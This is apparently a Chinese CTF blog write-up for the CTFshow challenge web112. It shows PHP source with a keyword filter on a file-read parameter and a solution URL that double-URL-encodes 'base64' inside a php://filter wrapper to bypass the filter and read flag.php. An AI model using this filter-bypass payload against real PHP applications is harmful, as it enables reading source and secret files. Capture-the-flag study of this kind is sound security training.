CTFshow php特性 web112
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49*/highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}
思路
这题考点是用伪协议来读取文件,看到base64被过滤,想到Y1ng师傅之前叫我的一个非预期的小技巧,convert.base-encode64部分可以二次编码绕过
题解
http://c2e76d57-4b35-4abe-9814-64d6a55fda80.challenge.ctf.show/?file=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php
解码拿到flag
总结
水题
CTFshow php特性 web112相关推荐
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web150
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web140
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web138
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web137
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 23个MySQL常用查询语句
- 三大框架开发时,spring配置文件出现异常
- 如何设计一个 RPC 系统
- sgi allocate
- 国际智商测试皮肤软件,爆火的口服玻尿酸,是美容神器还是智商税?
- viper4android 生效,另一种让V4a音效在Poweramp上生效的方法
- CF750G New Year and Binary Tree Paths(数位dp二进制+数学)
- catia直线测距怎么调出来_CATIA怎么测量两线夹角.
- 如何在Ubuntu中使用root账号登录(新增Ubuntu12.04/14.04)?
- 一个合格的程序员,需要哪些必备技能?
- 答网友问:一个abs函数引发的问题
- 今晚鼓捣的audio.js一些小经验
- 【渝粤教育】国家开放大学2018年春季 0408-22T管理学基础 参考试题
- lamp php的ssl,ssh支持
- 阿帕奇,StringUtil工具类,各种常用字符串的处理
- keil安装及mdk
- 关于IP地址块聚合的一些问题
- 电子邮箱市场盈利模式
- 用Python寻找最优投资组合
- php海外话费充值游戏币,海外(国外)充值话费方法